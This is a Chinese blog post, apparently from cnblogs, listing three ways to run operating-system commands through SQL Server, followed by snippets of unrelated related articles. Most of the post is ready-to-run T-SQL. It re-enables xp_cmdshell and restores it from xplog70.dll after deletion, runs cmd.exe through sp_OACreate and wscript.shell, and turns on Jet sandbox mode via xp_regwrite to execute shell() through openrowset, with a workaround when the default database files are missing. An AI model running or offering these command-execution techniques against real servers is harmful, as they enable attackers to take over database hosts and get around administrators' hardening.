方法一:xp_cmdshell 

exec master..xp_cmdshell "whoami"默认执行是关闭

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

将1修改为0则为关闭

xp_cmdshell 被删除可采用xplog70.dll恢复

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

方法二:SP_OACREATE

xp_cmdshell 删除以后,可以使用SP_OACreate。

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'show advanced options', 0;

执行[此方法无回显]

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'

方法三:通过沙盒执行命令

开启沙盒

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

利用jet.oledb执行命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("CMD命令")')

但是,当 c:\Windows\System32\ias\dnary.mdb 或 c:\Windows\System32\ias\ias.mdb 被删除时,命令就会无效了.

所以利用以下语句创建一个数据库:(数据库名SysSetup.xml,后缀.xml是自定义,不影响使用.)

declare @hr int

declare @object int;declare @property int

exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT

exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml'

然后再利用jet.oledb调用SysSetup.xml执行系统命令:

select * from openrowset('microsoft.jet.oledb.4.0',';database=SysSetup.xml','select shell("CMD命令")')

参考链接:

https://www.4hou.com/technology/3338.html

https://www.cnblogs.com/mujj/articles/2043853.html

SQLserver执行命令的更多相关文章

  1. SQLServer执行命令出现“目录无效的提示”

    异常处理汇总-数据库系列  http://www.cnblogs.com/dunitian/p/4522990.html 一般都是清理垃圾清理过头了,把不该删的目录删了 网上说法: 问题描述: 1.s ...

  2. Bat:Basic knowledge(同时运行多条命令,连接SqlServer执行sql,单个bat打开多个tomcat,cmd切换命令行编码,根据PID结束端口号)

    1.Windows7环境下命令行一次运行多条命令 Windows7命令行(cmd)下,如果想一次运行多条命令可能用到的连接符个人了解到的有三个:&&,||和&. aa & ...

  3. 使用SQLCMD在SQLServer执行多个脚本

    原文:使用SQLCMD在SQLServer执行多个脚本 概述: 作为DBA,经常要用开发人员提供的SQL脚本来更新正式数据库,但是一个比较合理的开发流程,当提交脚本给DBA执行的时候,可能已经有几百个 ...

  4. XP_CMDSHELL 执行命令添加 windows 用户的方法

    1. 之前看过不少文档 可以使用 xp_SQLCMD的命令来进行渗透处理, 今天因为公司的服务器又中毒了 自己学习了下. 2. 修改SQLSERVER的设置 远程登录数据库 sqlcmd -S 10. ...

  5. sqlserver bcp命令导出数据

    原文:sqlserver bcp命令导出数据 版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net ...

  6. Android 在Android代码中执行命令行

    1.路径最好不要是自己拼写的路径/mnt/shell/emulated/0/wifidog.conf 最好是通过方法获取的路径,不然可能导致命令无效  (挂载点的原因) public static f ...

  7. ssh模仿ansible批量执行命令的功能

    #!/bin/bash ssh_hosts=("IP" "IP1".......) user=root remote_cmd="df -h" ...

  8. php 执行计划任务方式之 linux crontab 执行命令

    一.crond简介 crond 是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务 工具,并且会自动启动c ...

  9. Python开发程序:RPC异步执行命令(RabbitMQ双向通信)

    RPC异步执行命令 需求: 利用RibbitMQ进行数据交互 可以对多台服务器进行操作 执行命令后不等待命令的执行结果,而是直接让输入下一条命令,结果出来后自动打印 实现异步操作 不懂rpc的请移步h ...

随机推荐

  1. 1、siege安装

    1.下载最新版本的siege wget http://download.joedog.org/siege/siege-latest.tar.gz 2.解压并进入siege路径 tar -zxvf si ...

  2. 在Linux下面无法使用向上箭头自动补全上条命令

    会用^[[A替代. 参考:http://stackoverflow.com/a/8641302/941650

  3. HDU 6659 Acesrc and Good Numbers (数学 思维)

    2019 杭电多校 8 1003 题目链接:HDU 6659 比赛链接:2019 Multi-University Training Contest 8 Problem Description Ace ...

  4. 2019 牛客多校第六场 D Move

    题目链接:https://ac.nowcoder.com/acm/contest/886/D 题解摘自官方题解 题目大意 有 K 个体积相同的箱子,有 N 个体积相同或相异的物品,现要按照如下策略装箱 ...

  5. ArabellaCPC 2019

    链接:http://codeforces.com/gym/102263 A: 签到题:A * B . B: 题意:类似取石子游戏,每个人可以取max(1, n(当前剩余) - k)个,最后取完的人赢, ...

  6. 31-Ubuntu-用户权限-02-ls输出信息介绍

    ls -l 查看文件夹下文件或目录的详细信息 1 2 3 4 5 6 7 8 9 10 d/- rwx rwx r-x 2 summmer summmer 12288 2月 25 13:34 Ente ...

  7. python--面向对象:多态与封装

    一.多态 :python 天生支持多态多态指的是一类事物有多种形态 eg:文件有多种形态:文本文件,可执行文件鸭子类型:python中崇尚鸭子类型,不崇尚根据继承所得来的相似 优点 : 松耦合 每个相 ...

  8. idea 在新建一个class的时候可以选择继承的父类

    1.把光标放在父类名称上按alt+enter可以生成子类 2. 选中implement abstract class

  9. swiper缩略图active切换失灵的解决思路

    报错信息:Cannot read property ‘indexOf’ of undefined swiper. 来源是swiper.min.js,首先检查自己写的js配置是否有误,没有就调试插件源代 ...

  10. Delphi之TPersistent类 -----ASSIGN

    Delphi之TPersistent类 TPersistent类 TPersistent类是由TObject直接派生的.凡是由TPersistent派生的对象都能够进行流操作.因为所有的组件都是由TP ...